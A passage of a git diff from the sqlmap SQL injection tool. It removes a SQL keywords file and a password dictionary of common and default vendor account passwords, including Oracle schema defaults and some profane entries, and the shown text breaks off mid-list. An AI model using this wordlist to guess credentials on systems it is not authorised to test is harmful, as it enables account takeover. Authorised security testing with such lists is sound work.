1] + +# Adding our two functions to the socket library +if os.name == 'nt': + socket.inet_pton = inet_pton + socket.inet_ntop = inet_ntop diff --git a/txt/keywords.txt b/txt/keywords.txt deleted file mode 100644 index 1e7d222abad..00000000000 --- a/txt/keywords.txt +++ /dev/null @@ -1,453 +0,0 @@ -# Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -# See the file 'doc/COPYING' for copying permission - -# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) - -ABSOLUTE -ACTION -ADD -ALL -ALLOCATE -ALTER -AND -ANY -ARE -AS -ASC -ASSERTION -AT -AUTHORIZATION -AVG -BEGIN -BETWEEN -BIT -BIT_LENGTH -BOTH -BY -CALL -CASCADE -CASCADED -CASE -CAST -CATALOG -CHAR -CHAR_LENGTH -CHARACTER -CHARACTER_LENGTH -CHECK -CLOSE -COALESCE -COLLATE -COLLATION -COLUMN -COMMIT -CONDITION -CONNECT -CONNECTION -CONSTRAINT -CONSTRAINTS -CONTAINS -CONTINUE -CONVERT -CORRESPONDING -COUNT -CREATE -CROSS -CURRENT -CURRENT_DATE -CURRENT_PATH -CURRENT_TIME -CURRENT_TIMESTAMP -CURRENT_USER -CURSOR -DATE -DAY -DEALLOCATE -DEC -DECIMAL -DECLARE -DEFAULT -DEFERRABLE -DEFERRED -DELETE -DESC -DESCRIBE -DESCRIPTOR -DETERMINISTIC -DIAGNOSTICS -DISCONNECT -DISTINCT -DO -DOMAIN -DOUBLE -DROP -ELSE -ELSEIF -END -ESCAPE -EXCEPT -EXCEPTION -EXEC -EXECUTE -EXISTS -EXIT -EXTERNAL -EXTRACT -FALSE -FETCH -FIRST -FLOAT -FOR -FOREIGN -FOUND -FROM -FULL -FUNCTION -GET -GLOBAL -GO -GOTO -GRANT -GROUP -HANDLER -HAVING -HOUR -IDENTITY -IF -IMMEDIATE -IN -INDICATOR -INITIALLY -INNER -INOUT -INPUT -INSENSITIVE -INSERT -INT -INTEGER -INTERSECT -INTERVAL -INTO -IS -ISOLATION -JOIN -KEY -LANGUAGE -LAST -LEADING -LEAVE -LEFT -LEVEL -LIKE -LOCAL -LOOP -LOWER -MATCH -MAX -MIN -MINUTE -MODULE -MONTH -NAMES -NATIONAL -NATURAL -NCHAR -NEXT -NO -NOT -NULL -NULLIF -NUMERIC -OCTET_LENGTH -OF -ON -ONLY -OPEN -OPTION -OR -ORDER -OUT -OUTER -OUTPUT -OVERLAPS -PAD -PARAMETER -PARTIAL -PATH -POSITION -PRECISION -PREPARE -PRESERVE -PRIMARY -PRIOR -PRIVILEGES -PROCEDURE -PUBLIC -READ -REAL -REFERENCES -RELATIVE -REPEAT -RESIGNAL -RESTRICT -RETURN -RETURNS -REVOKE -RIGHT -ROLLBACK -ROUTINE -ROWS -SCHEMA -SCROLL -SECOND -SECTION -SELECT -SESSION -SESSION_USER -SET -SIGNAL -SIZE -SMALLINT -SOME -SPACE -SPECIFIC -SQL -SQLCODE -SQLERROR -SQLEXCEPTION -SQLSTATE -SQLWARNING -SUBSTRING -SUM -SYSTEM_USER -TABLE -TEMPORARY -THEN -TIME -TIMESTAMP -TIMEZONE_HOUR -TIMEZONE_MINUTE -TO -TRAILING -TRANSACTION -TRANSLATE -TRANSLATION -TRIM -TRUE -UNDO -UNION -UNIQUE -UNKNOWN -UNTIL -UPDATE -UPPER -USAGE -USER -USING -VALUE -VALUES -VARCHAR -VARYING -VIEW -WHEN -WHENEVER -WHERE -WHILE -WITH -WORK -WRITE -YEAR -ZONE - -# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html) -ADD -ALL -ALTER -ANALYZE -AND -ASASC -ASENSITIVE -BEFORE -BETWEEN -BIGINT -BINARYBLOB -BOTH -BY -CALL -CASCADE -CASECHANGE -CAST -CHAR -CHARACTER -CHECK -COLLATE -COLUMN -CONCAT -CONDITIONCONSTRAINT -CONTINUE -CONVERT -CREATE -CROSS -CURRENT_DATE -CURRENT_TIMECURRENT_TIMESTAMP -CURRENT_USER -CURSOR -DATABASE -DATABASES -DAY_HOUR -DAY_MICROSECONDDAY_MINUTE -DAY_SECOND -DEC -DECIMAL -DECLARE -DEFAULTDELAYED -DELETE -DESC -DESCRIBE -DETERMINISTIC -DISTINCTDISTINCTROW -DIV -DOUBLE -DROP -DUAL -EACH -ELSEELSEIF -ENCLOSED -ESCAPED -EXISTS -EXIT -EXPLAIN -FALSEFETCH -FLOAT -FLOAT4 -FLOAT8 -FOR -FORCE -FOREIGNFROM -FULLTEXT -GRANT -GROUP -HAVING -HIGH_PRIORITYHOUR_MICROSECOND -HOUR_MINUTE -HOUR_SECOND -IF -IFNULL -IGNORE -ININDEX -INFILE -INNER -INOUT -INSENSITIVE -INSERT -INTINT1 -INT2 -INT3 -INT4 -INT8 -INTEGER -INTERVALINTO -IS -ISNULL -ITERATE -JOIN -KEY -KEYS -KILLLEADING -LEAVE -LEFT -LIKE -LIMIT -LINESLOAD -LOCALTIME -LOCALTIMESTAMP -LOCK -LONG -LONGBLOBLONGTEXT -LOOP -LOW_PRIORITY -MATCH -MEDIUMBLOB -MEDIUMINT -MEDIUMTEXTMIDDLEINT -MINUTE_MICROSECOND -MINUTE_SECOND -MOD -MODIFIES -NATURAL -NOTNO_WRITE_TO_BINLOG -NULL -NUMERIC -ON -OPTIMIZE -OPTION -OPTIONALLYOR -ORDER -OUT -OUTER -OUTFILE -PRECISIONPRIMARY -PROCEDURE -PURGE -READ -READS -REALREFERENCES -REGEXP -RELEASE -RENAME -REPEAT -REPLACE -REQUIRERESTRICT -RETURN -REVOKE -RIGHT -RLIKE -SCHEMA -SCHEMASSECOND_MICROSECOND -SELECT -SENSITIVE -SEPARATOR -SET -SHOW -SMALLINTSONAME -SPATIAL -SPECIFIC -SQL -SQLEXCEPTION -SQLSTATESQLWARNING -SQL_BIG_RESULT -SQL_CALC_FOUND_ROWS -SQL_SMALL_RESULT -SSL -STARTINGSTRAIGHT_JOIN -TABLE -TERMINATED -THEN -TINYBLOB -TINYINT -TINYTEXTTO -TRAILING -TRIGGER -TRUE -UNDO -UNION -UNIQUEUNLOCK -UNSIGNED -UPDATE -USAGE -USE -USING -UTC_DATEUTC_TIME -UTC_TIMESTAMP -VALUES -VARBINARY -VARCHAR -VARCHARACTERVARYING -VERSION -WHEN -WHERE -WHILE -WITH -WRITEXOR -YEAR_MONTH -ZEROFILL diff --git a/txt/smalldict.txt b/txt/smalldict.txt deleted file mode 100644 index 5f470fd6a0e..00000000000 --- a/txt/smalldict.txt +++ /dev/null @@ -1,3567 +0,0 @@ -!@#$%^&* -!@#$%^& -!@#$%^ -!@#$% -@#$%^& -* -000000 -00000000 -0007 -007 -007007 -06071992 -0racl3 -0racl38 -0racl38i -0racl39 -0racl39i -0racle -0racle8 -0racle8i -0racle9 -0racle9i -1 -1022 -10sne1 -1111 -11111 -111111 -11111111 -1212 -121212 -1213 -1214 -1225 -123 -123123 -123321 -1234 -12345 -123456 -1234567 -12345678 -1234qwer -123abc -123go -1313 -131313 -1316 -1332 -13579 -1412 -1430 -1701d -171717 -1818 -181818 -1911 -1928 -1948 -1950 -1952 -1953 -1955 -1956 -1960 -1964 -1969 -1973 -1975 -1977 -1978 -1991 -199220706 -1996 -1a2b3c -1chris -1kitty -1p2o3i -1q2w3e -1qw23e -2000 -2001 -2020 -2112 -21122112 -22 -2200 -2222 -2252 -2kids -3010 -3112 -3141 -333 -3533 -369 -3bears -4055 -4444 -4788 -4854 -4runner -5050 -5121 -5252 -54321 -5555 -55555 -5683 -57chevy -6262 -6301 -654321 -666666 -6969 -696969 -777 -7777 -7777777 -789456 -7dwarfs -80486 -8675309 -888888 -88888888 -90210 -911 -99999999 -a -a12345 -a1b2c3 -a1b2c3d4 -aa -aaa -aaaa -aaaaaa -aardvark -aaron -abacab -abbott -abby -abc -abc123 -ABC123 -abcd -abcd123 -abcd1234 -abcde -abcdef -Abcdef -abcdefg -Abcdefg -abigail -abm -absolut -access -accord -account -ace -acropolis -action -active -acura -adam -adg -adgangskode -adi -adidas -adldemo -admin -admin1 -administrator -adrian -adrock -advil -aerobics -africa -agent -ahl -ahm -airborne -airoplane -airwolf -ak -akf7d98s2 -aki123 -alaska -albert -alex -alex1 -alexander -alexandr -alexis -Alexis -alfaro -alfred -ali -alice -alice1 -alicia -alien -aliens -alina -aline -alison -allegro -allen -allison -allo -allstate -aloha -alpha -Alpha -alpha1 -alpine -alr -altamira -althea -altima -altima1 -amanda -amanda1 -amazing -amber -amelie -america -amour -ams -amv -amy -anaconda -anders -anderson -andre -andre1 -andrea -andrea1 -andrew! -andrew -Andrew -andrew1 -andromed -andy -angel -angel1 -angela -angels -angie -angie1 -angus -animal -Animals -anita -ann -anna -anne -anneli -annette -annie -anonymous -antares -anthony -Anthony -anything -ap -apache -apollo -apollo13 -apple -apple1 -apple2 -applepie -apples -applmgr -applsys -applsyspub -apppassword -apps -april -aptiva -aq -aqdemo -aqjava -aqua -aquarius -aquser -ar -aragorn -archie -ariane -ariel -Ariel -arizona -arlene -arnold -arrow -arsenal -artemis -arthur -artist -asdf -asdf1234 -asdfasdf -asdfg -asdfgh -Asdfgh -asdfghjk -asdfjkl; -asdfjkl -asdf;lkj -asf -asg -ashley -ashley1 -ashraf -ashton -asl -aso -asp -aspen -ass -asshole -assmunch -ast -asterix -ath -athena -attila -audiouser -august -austin -autumn -avalon -avatar -avenger -avenir -awesome -ax -ayelet -aylmer -az -babes -baby -babydoll -babylon5 -bach -backup -badger -bailey -Bailey -bambi -bamboo -banana -bandit -bar -baraka -barbara -barbie -barn -barney -barney1 -barnyard -barrett -barry -bart -bartman -baseball -basf -basil -basket -basketball -bass -Bastard -batman -batman1 -bball -bc4j -beaches -beagle -beaner -beanie -beans -bear -bears -beast -beasty -beatles -beatrice -beautiful -beauty -beaver -beavis -Beavis -beavis1 -bebe -becca -beer -belgium -belize -bella -belle -belmont -ben -benjamin -benji -benny -benoit -benson -beowulf -bernard -bernardo -bernie -berry -bertha -beryl -best -beta -betacam -betsy -betty -bharat -bic -bichon -bigal -bigben -bigbird -bigboss -bigdog -biggles -bigmac -bigman -bigred -biker -bil -bilbo -bill -bills -billy -billy1 -bim -bimmer -bingo -binky -bioboy -biochem -biology -bird -bird33 -birdie -birdy -birthday -bis -biscuit -bishop -Bismillah -bitch -biteme -bitter -biv -bix -biz -black -blackjack -blah -blanche -blazer -blewis -blinds -bliss -blitz -blizzard -blonde -blondie -blood -blowfish -blowjob -blowme -blue -bluebird -blueeyes -bluefish -bluejean -blues -bluesky -bmw -boat -bob -bobby -bobcat -bogart -bogey -bogus -bom -bombay -bond007 -Bond007 -bonjour -bonnie -Bonzo -boobie -booboo -Booboo -booger -boogie -boomer -booster -boots -bootsie -boris -bosco -boss -BOSS -boston -Boston -boulder -bourbon -boxer -boxers -bozo -bradley -brain -branch -brandi -brandon -brandy -braves -brazil -brenda -brent -brewster -brian -bridge -bridges -bright -brio_admin -britain -Broadway -broker -bronco -bronte -brooke -brother -bruce -bruno -brutus -bryan -bsc -bubba -bubba1 -bubble -bubbles -buck -bucks -buddha -buddy -budgie -buffalo -buffett -buffy -bug_reports -bugs -bugsy -bull -bulldog -bullet -bulls -bullshit -bunny -burns -burton -business -buster -butch -butler -butter -butterfly -butthead -button -buttons -buzz -byron -byteme -c00per -cactus -caesar -caitlin -calendar -calgary -california -calvin -calvin1 -camaro -camay -camel -camera -camille -campbell -camping -canada -cancer -candy -canela -cannon -cannondale -canon -Canucks -captain -car -carbon -cardinal -Cardinal -carebear -carl -carlos -carmen -carnage -carol -Carol -carol1 -carole -carolina -caroline -carolyn -carrie -carrot -cascade -casey -Casio -casper -cassie -castle -cat -catalina -catalog -catch22 -catfish -catherine -cathy -catnip -cats -catwoman -cccccc -cct -cdemo82 -cdemo83 -cdemocor -cdemorid -cdemoucb -cdouglas -ce -cecile -cedic -celica -celine -Celtics -cement -center -centra -central -cesar -cessna -chad -chainsaw -challenge -chameleon -champion -Champs -chance -chandler -chanel -chang -change -changeit -changeme -Changeme -ChangeMe -change_on_install -chantal -chaos -chapman -charger -charity -charles -charlie -Charlie -charlie1 -charlotte -chat -cheese -chelsea -chelsea1 -cherry -cheryl -chess -chester1 -chevy -chiara -chicago -chicken -chico -chiefs -china -chinacat -chinook -chip -chiquita -chloe -chocolat -chocolate -chouette -chris -Chris -chris1 -chris123 -christ1 -christia -christian -christin -christmas -christoph -christopher -christy -chronos -chuck -church -cicero -cids -cinder -cindy -cindy1 -cinema -circuit -cirque -cirrus -cis -cisinfo -civic -civil -claire -clancy -clapton -clark -clarkson -class -classroom -claude -claudel -claudia -clave -cleo -clerk -cliff -clipper -clock -cloclo -cloth -clueless -cn -cobain -cobra -cocacola -coco -cody -coffee -coke -colette -colleen -college -color -colorado -colors -colt45 -coltrane -columbia -comet -commander -company -compaq -compiere -compton -computer -Computer -concept -concorde -confused -connect -connie -conrad -content -control -cook -cookie -cookies -cooking -cool -coolbean -cooper -cooter -copper -cora -cordelia -corky -cornflake -corona -corrado -corvette -corwin -cosmo -cosmos -cougar -Cougar -cougars -country -courier -courtney -cowboy -cowboys -cows -coyote -crack1 -cracker -craig -crawford -creative -Creative -crescent -cricket -cross -crow -crowley -crp -cruise -crusader -crystal -cs -csc -csd -cse -csf -csi -csl -csmig -csp -csr -css -cthulhu -ctxdemo -ctxsys -cua -cuda -cuddles -cue -cuervo -cuf -cug -cui -cun -cunningham -cunt -cup -cupcake -current -curtis -Curtis -cus -cutie -cutlass -cyber -cyclone -cynthia -cyrano -cz -daddy -daedalus -dagger -dagger1 -daily -daisie -daisy -dakota -dale -dallas -dammit -damogran -dan -dana -dance -dancer -daniel -Daniel -daniel1 -danielle -danny -daphne -dark1 -Darkman -darkstar -darren -darryl -darwin -dasha -data1 -database -datatrain -dave -david -david1 -davids -dawn -daytek -dbsnmp -dbvision -dead -deadhead -dean -death -debbie -deborah -december -decker -deedee -deeznuts -def -delano -delete -deliver -delta -demo -demo8 -demo9 -demon -denali -denis -denise -Denise -dennis -denny -depeche -derek -des -des2k -desert -design -deskjet -destiny -detroit -deutsch -dev2000_demos -devil -devine -devon -dexter -dharma -diablo -diamond -diana -diane -dianne -dickens -dickhead -diesel -digger -digital -dilbert -dillweed -dim -dip -dipper -director -dirk -disco -discoverer_admin -disney -dixie -dixon -dmsys -doc -doctor -dodger -dodgers -dog -dogbert -doggy -doitnow -dollar -dollars -dolly -dolphin -dolphins -dominic -dominique -domino -don -donald -donkey -donna -dontknow -doogie -dookie -doom -doom2 -doors -dork -dorothy -doudou -doug -dougie -douglas -downtown -dpfpass -draft -dragon -Dragon -dragon1 -dragonfly -dreamer -dreams -driver -dsgateway -dssys -d_syspw -d_systpw -dtsp -duck -duckie -dude -dudley -duke -dumbass -dundee -dusty -dutch -dutchess -dwight -dylan -e -eaa -eagle -eagle1 -eagles -Eagles -eam -east -easter -eastern -ec -eclipse -ecx -eddie -edith -edmund -edward -eeyore -effie -eieio -eight -einstein -ejb -ejsadmin -ejsadmin_password -electric -element -elephant -elina1 -elissa -elizabeth -Elizabeth -ella -ellen -elliot -elsie -elvis -e-mail -emerald -emily -emmitt -emp -empire -energy -eng -engage -eni -enigma -enter -enterprise -entropy -eric -eric1 -erin -ernie1 -escort -escort1 -estelle -Esther -estore -etoile -eugene -europe -evelyn -event -evm -example -excalibur -excel -exfsys -explore -explorer -export -express -extdemo -extdemo2 -eyal -fa -faculty -fairview -faith -falcon -family -Family -family1 -farmer -farout -farside -fatboy -faust -fearless -feedback -felipe -felix -fem -fender -fenris -ferguson -ferrari -ferret -ferris -fiction -fidel -Figaro -fii -finance -finprod -fiona -fire -fireball -firebird -fireman -firenze -first -fish -fish1 -fisher -Fisher -fishes -fishhead -fishie -fishing -Fishing -flamingo -flanders -flash -fletch -fletcher -fleurs -flight -flip -flipper -flm -florida -florida1 -flower -flowerpot -flowers -floyd -fluffy -flute -fly -flyboy -flyer -fnd -fndpub -foobar -fool -football -ford -forest -Fortune -forward -foster -fountain -fox -foxtrot -fozzie -fpt -france -francesco -francine -francis -francois -frank -franka -franklin -freak1 -fred -freddie -freddy -Freddy -frederic -free -freebird -freedom -freeman -french -french1 -friday -Friday -friend -friends -Friends -frisco -fritz -frm -frodo -frog -froggie -froggies -froggy -frogs -front242 -Front242 -frontier -fte -fubar -fucker -fuckface -fuckme -fuckoff -fucku -fuckyou -Fuckyou -FuckYou -fugazi -fun -funguy -funtime -future -fuzz -fv -gabby -gabriel -gabriell -gaby -gaelic -galaxy -galileo -gambit -gambler -games -gammaphi -gandalf -Gandalf -garcia -garden -garfield -garfunkel -gargoyle -garlic -garnet -garth -gary -gasman -gaston -gateway -gateway2 -gator -gator1 -gemini -general -genesis -genius -george -george1 -georgia -gerald -german -germany -germany1 -Geronimo -getout -ggeorge -ghost -giants -gibbons -gibson -gigi -gilbert -gilgamesh -gilles -ginger -Gingers -giselle -gizmo -Gizmo -gl -glenn -glider1 -global -gma -gmd -gme -gmf -gmi -gml -gmoney -gmp -gms -go -goat -goaway -goblin -goblue -gocougs -godiva -godzilla -goethe -gofish -goforit -gold -golden -Golden -goldfish -golf -golfer -gollum -gone -goober -Goober -good -good-luck -goodluck -goofy -goose -gopher -gordon -gpfd -gpld -gr -grace -graham -gramps -grandma -grant -graphic -grateful -gravis -gray -graymail -greed -green -greenday -greg -greg1 -gregory -gremlin -greta -gretchen -Gretel -gretzky -grizzly -groovy -grover -grumpy -guess -guest -guido -guinness -guitar -guitar1 -gumby -gunner -gustavo -h2opolo -hacker -Hacker -hades -haggis -haha -hailey -hal -hal9000 -halloween -hallowell -hamid -hamilton -hamlet -hammer -Hammer -hank -hanna -hannah -hansolo -hanson -happy -happy1 -happy123 -happyday -hardcore -harley -Harley -HARLEY -harley1 -haro -harold -harriet -harris -harrison -harry -harvard -harvey -hawk -hawkeye -hawkeye1 -hazel -hcpark -health -health1 -heart -heather -Heather -heather1 -heather2 -heaven -hector -hedgehog -heidi -heikki -helen -helena -helene -hell -hello -Hello -hello1 -hello123 -hello8 -hellohello -help -help123 -helper -helpme -hendrix -Hendrix -henry -Henry -herbert -herman -hermes -Hershey -herzog -heythere -highland -hilbert -hilda -hillary -histoire -history -hithere -hitler -hlw -hobbes -hobbit -hockey -hola -holiday -holly -home -homebrew -homer -Homer -homerj -honda -honda1 -honey -hongkong -hoops -hoosier -hootie -hope -horizon -hornet -horse -horses -hosehead -hotdog -hotrod -house -houston -howard -hr -hri -huang -hudson -huey -hugh -hugo -hummer -hunter -huskies -hvst -hxc -hxt -hydrogen -i -ib6ub9 -iba -ibanez -ibe -ibp -ibu -iby -icdbown -icecream -iceman -icx -idemo_user -idiot -idontknow -ieb -iec -iem -ieo -ies -ieu -iex -if6was9 -iforget -ifssys -igc -igf -igi -igs -iguana -igw -ilmari -iloveu -iloveyou -image -imageuser -imagine -imc -imedia -impact -impala -imt -indian -indiana -indigo -indonesia -info -informix -ingvar -insane -inside -insight -instance -instruct -integra -integral -intern -internet -Internet -intrepid -inv -invalid -invalid password -iomega -ipa -ipd -iplanet -ireland -irene -irina -iris -irish -irmeli -ironman -isaac -isabel -isabelle -isc -island -israel -italia -italy -itg -izzy -j0ker -j1l2t3 -ja -jack -jackie -jackie1 -jackson -Jackson -jacob -jaguar -jake -jakey -jamaica -james -james1 -jamesbond -jamie -jamjam -jan -jane -Janet -janice -japan -jared -jasmin -jasmine -jason -jason1 -jasper -jazz -je -jean -jeanette -jeanne -Jeanne -jedi -jeepster -jeff -jeffrey -jeffrey1 -jenifer -jenni -jennie -jennifer -Jennifer -jenny -jenny1 -jensen -jer -jeremy -jerry -Jersey -jesse -jesse1 -jessica -Jessica -jessie -jester -jesus -jesus1 -jethro -jethrotull -jetspeed -jetta1 -jewels -jg -jim -jimbo -jimbob -jimi -jimmy -jkl123 -jkm -jl -jmuser -joanie -joanna -Joanna -joe -joel -joelle -joey -johan -johanna1 -john -john316 -johnny -johnson -Johnson -jojo -joker -joker1 -jonathan -jordan -Jordan -jordan23 -jordie -jorge -josee -joseph -josh -joshua -Joshua -josie -journey -joy -joyce -JSBach -jtf -jtm -jts -jubilee -judith -judy -juhani -jules -julia -julia2 -julian -julie -julie1 -julien -juliet -jumanji -jumbo -jump -junebug -junior -juniper -jupiter -jussi -justdoit -justice -justice4 -justin -justin1 -kalamazo -kali -kangaroo -karen -karen1 -karin -karine -karma -kat -kate -katerina -katherine -kathleen -kathy -katie -Katie -katie1 -kayla -kcin -keeper -keepout -keith -keith1 -keller -kelly -kelly1 -kelsey -kendall -kennedy -kenneth -kenny -kerala -kermit -kerrya -ketchup -kevin -kevin1 -khan -kidder -kids -killer -Killer -KILLER -kim -kimberly -king -kingdom -kingfish -kings -kirk -kissa2 -kissme -kitkat -kitten -Kitten -kitty -kittycat -kiwi -kkkkkk -kleenex -knicks -knight -Knight -koala -koko -kombat -kramer -kris -kristen -kristi -kristin -kristine -kwalker -l2ldemo -lab1 -labtec -lacrosse -laddie -lady -ladybug -lakers -lambda -lamer -lance -larry -larry1 -laser -laserjet -laskjdf098ksdaf09 -lassie1 -laura -laurel -lauren -laurie -law -lawrence -lawson -lawyer -lbacsys -leader -leaf -leblanc -ledzep -lee -legal -legend -leland -lemon -leo -leon -leonard -leslie -lestat -lester -letmein -letter -letters -lev -lexus1 -liberty -Liberty -libra -library -life -light -lights -lima -lincoln -linda -lindsay -Lindsay -lindsey -lionel -lionking -lions -lisa -lissabon -little -liverpool -liz -lizard -Lizard -lizzy -lloyd -logan -logger -logical -logos -loislane -loki -lola -lolita -london -lonely -lonestar -longer -longhorn -looney -loren -lori -lorna -lorraine -lorrie -loser -lost -lotus -lou -louis -louise -love -lovely -loveme -lovers -loveyou -lucas -lucia -lucifer -lucky -lucky1 -lucky14 -lucy -lulu -lynn -m -m1911a1 -mac -macha -macintosh -macross -macse30 -maddie -maddog -Madeline -madison -madmax -madoka -madonna -maggie -magic -magic1 -magnum -maiden -mail -mailer -mailman -maine -major -majordomo -makeitso -malcolm -malibu -mallard -manag3r -manageme -manager -manprod -manson -mantra -manuel -marathon -marc -marcel -marcus -margaret -Margaret -maria -maria1 -mariah -mariah1 -marie -marielle -marilyn -marina -marine -mariner -marino -mario -mariposa -mark -mark1 -market -marlboro -marley -mars -marshall -mart -martha -martin -martin1 -marty -marvin -mary -maryjane -master -Master -master1 -math -matrix -matt -matthew -Matthew -matti1 -mattingly -maurice -maverick -max -maxime -maxine -maxmax -maxwell -Maxwell -mayday -mazda1 -mddata -mddemo -mddemo_mgr -mdsys -me -meatloaf -mech -mechanic -media -medical -megan -meggie -meister -melanie -melina -melissa -Mellon -melody -memory -memphis -mensuck -meow -mercedes -mercer -mercury -merde -merlin -merlot -Merlot -mermaid -merrill -metal -metallic -Metallic -mexico -mfg -mgr -mgwuser -miami -michael -Michael -michael1 -michal -michel -Michel -Michel1 -michele -michelle -Michelle -michigan -michou -mickel -mickey -mickey1 -micro -microsoft -midnight -midori -midvale -midway -migrate -mikael -mike -mike1 -mikey -miki -milano -miles -millenium -miller -millie -million -mimi -mindy -mine -minnie -minou -miracle -mirage -miranda -miriam -mirror -misha -mishka -mission -missy -misty -mitch -mitchell -mmm -mmmmmm -mmo2 -mmo3 -mmouse -mobile -mobydick -modem -mojo -molly -molly1 -molson -mom -monday -Monday -monet -money -Money -money1 -monica -monique -monkey -monkey1 -monopoly -monroe -Monster -montana -montana3 -montreal -Montreal -montrose -monty -moocow -mookie -moomoo -moon -moonbeam -moore -moose -mopar -moreau -morecats -morgan -moroni -morpheus -morris -mort -mortimer -mot_de_passe -mother -motor -motorola -mountain -mouse -mouse1 -movies -mowgli -mozart -mrp -msc -msd -mso -msr -mt6ch5 -mtrpw -mts_password -mtssys -muffin -mulder -mulder1 -mumblefratz -munchkin -murphy -murray -muscle -music -mustang -mustang1 -mwa -mxagent -nadia -nadine -names -nancy -naomi -napoleon -nascar -nat -natasha -nathan -nation -national -nautica -ncc1701 -NCC1701 -ncc1701d -ncc1701e -ne1410s -ne1469 -ne14a69 -nebraska -neil -neko -nellie -nelson -nemesis -neotix_sys -nermal -nesbit -nesbitt -nestle -netware -network -neutrino -new -newaccount -newcourt -newlife -newpass -news -newton -Newton -newuser -newyork -newyork1 -nexus6 -nguyen -nicarao -nicholas -Nicholas -nichole -nick -nicklaus -nicole -nigel -nightshadow -nightwind -nike -niki -nikita -nikki -nimrod -nina -niners -nintendo -nirvana -nirvana1 -nissan -nisse -nite -nneulpass -nokia -nomore -none -none1 -nopass -Noriko -normal -norman -norton -notebook -nothing -notta1 -notused -nouveau -novell -noway -nugget -number9 -numbers -nurse -nutmeg -oas_public -oatmeal -oaxaca -obiwan -obsession -ocean -ocitest -ocm_db_admin -october -October -odm -ods -odscommon -ods_server -oe -oemadm -oemrep -oem_temp -ohshit -oicu812 -okb -okc -oke -oki -oko -okr -oks -okx -olapdba -olapsvr -olapsys -olive -oliver -olivia -olivier -ollie -olsen -omega -one -online -ont -oo -open -openspirit -openup -opera -opi -opus -oracache -oracl3 -oracle -oracle8 -oracle8i -oracle9 -oracle9i -oradbapass -orange -oranges -oraprobe -oraregsys -orasso -orasso_ds -orasso_pa -orasso_ps -orasso_public -orastat -orchid -ordcommon -ordplugins -ordsys -oregon -oreo -orion -orlando -orville -oscar -osm -osp22 -ota -otter -ou812 -OU812 -outln -overkill -owa -owa_public -owf_mgr -owner -oxford -ozf -ozp -ozs -ozzy -pa -paagal -pacers -pacific -packard -packer -packers -packrat -paint -painter -Paladin -paloma -pam -pamela -Pamela -panama -pancake -panda -pandora -panic -pantera -panther -papa -paper -paradigm -paris -park -parker -parol -parola -parrot -partner -pascal -pass -passion -passwd -passwo1 -passwo2 -passwo3 -passwo4 -password -Password -pat -patches -patricia -patrick -patriots -patrol -patton -paul -paula -pauline -pavel -payton -peace -peach -peaches -Peaches -peanut -peanuts -Peanuts -pearl -pearljam -pedro -pedro1 -peewee -peggy -pekka -pencil -penelope -penguin -penny -pentium -Pentium -people -pepper -Pepper -pepsi -percy -perfect -performa -perfstat -perry -person -perstat -pete -peter -Peter -peter1 -peterk -peterpan -petey -petunia -phantom -phialpha -phil -philip -philips -phillips -phish -phishy -phoenix -Phoenix -phoenix1 -phone -photo -piano -piano1 -pianoman -pianos -picard -picasso -pickle -picture -pierce -pierre -pigeon -piglet -Piglet -pink -pinkfloyd -pioneer -pipeline -piper1 -pirate -pisces -pit -pizza -pjm -planet -planning -plato -play -playboy -player -players -please -plex -plus -pluto -pm -pmi -pn -po -po7 -po8 -poa -poetic -poetry -poiuyt -polar -polaris -pole -police -politics -polo -pom -pomme -pontiac -poohbear -pookey -pookie -Pookie -pookie1 -popcorn -pope -popeye -poppy -porsche -porsche911 -portal30 -portal30_admin -portal30_demo -portal30_ps -portal30_public -portal30_sso -portal30_sso_admin -portal30_sso_ps -portal30_sso_public -portal31 -portal_demo -portal_sso_ps -porter -portland -pos -power -powercartuser -ppp -PPP -praise -prayer -precious -predator -prelude -premier -preston -primary -primus -prince -princess -Princess -print -printing -prof -prometheus -property -protel -provider -psa -psalms -psb -psp -psycho -pub -public -pubsub -pubsub1 -puddin -pulsar -pumpkin -punkin -puppy -purple -Purple -pussy -pussy1 -pv -pyramid -pyro -python -q1w2e3 -qa -qdba -qp -qqq111 -qs -qs_adm -qs_cb -qs_cbadm -qs_cs -qs_es -qs_os -qs_ws -quality -quebec -queen -queenie -quentin -quest -qwaszx -qwer -qwert -Qwert -qwerty -Qwerty -qwerty12 -qwertyui -r0ger -rabbit -Rabbit -rabbit1 -racer -racerx -rachel -rachelle -racoon -radar -radio -rafiki -raiders -Raiders -rain -rainbow -Raistlin -raleigh -ralph -ram -rambo -rambo1 -rancid -random -Random -randy -randy1 -ranger -rangers -raptor -raquel -rascal -rasta1 -rastafarian -ratio -raven -ravens -raymond -re -reality -rebecca -Rebecca -red -redcloud -reddog -redfish -redman -redrum -redskins -redwing -redwood -reed -reggae -reggie -reliant -remember -remote -rene -renee -renegade -repadmin -reports -rep_owner -reptile -republic -rescue -research -revolution -rex -reynolds -reznor -rg -rhino -rhjrjlbk -rhonda -rhx -ricardo -ricardo1 -richard -richard1 -richards -richmond -ricky -riley -ripper -ripple -rita -river -rla -rlm -rmail -rman -roadrunner -rob -robbie -robby -robert -Robert -robert1 -roberts -robin -robinhood -robocop -robotech -robotics -roche -rock -rocket -rocket1 -rockie -rocknroll -rockon -rocky -rocky1 -rodeo -roger -roger1 -rogers -roland -rolex -roman -rommel -ronald -roni -rookie -rootbeer -rose -rosebud -roses -rosie -rossigno -rouge -route66 -roxy -roy -royal -rrs -ruby -rufus -rugby -rugger -runner -running -rush -russell -Russell -rusty -ruth -ruthie -ruthless -ryan -sabbath -sabina -sabrina -sadie -safety -safety1 -saigon -sailing -sailor -saint -sakura -salasana -sales -sally -salmon -salut -sam -samantha -samiam -samIam -sammie -sammy -Sammy -sample -sampleatm -sampson -samsam -samson -samuel -sandi -sandra -sandy -sanjose -santa -sap -saphire -sapphire -sapr3 -sarah -sarah1 -sasha -saskia -sassy -satori -saturday -saturn -Saturn -saturn5 -savage -sbdc -scarecrow -scarlet -scarlett -schnapps -school -science -scooby -scoobydoo -scooter -scooter1 -scorpio -scorpion -scotch -scott -scott1 -scottie -scotty -scout -scouts -scrooge -scruffy -scuba -scuba1 -sdos_icsap -sean -search -seattle -secdemo -secret -secret3 -security -seeker -senha -seoul -september -serena -sergei -sergey -server -service -Service -serviceconsumer1 -services -seven -seven7 -sex -sexy -sh -shadow -Shadow -shadow1 -shaggy -shalom -shanghai -shannon -shanny -shanti -shaolin -shark -sharon -shasta -shawn -shayne -shazam -sheba -sheena -sheila -shelby -shelley -shelly -shelter -shelves -sherry -ship 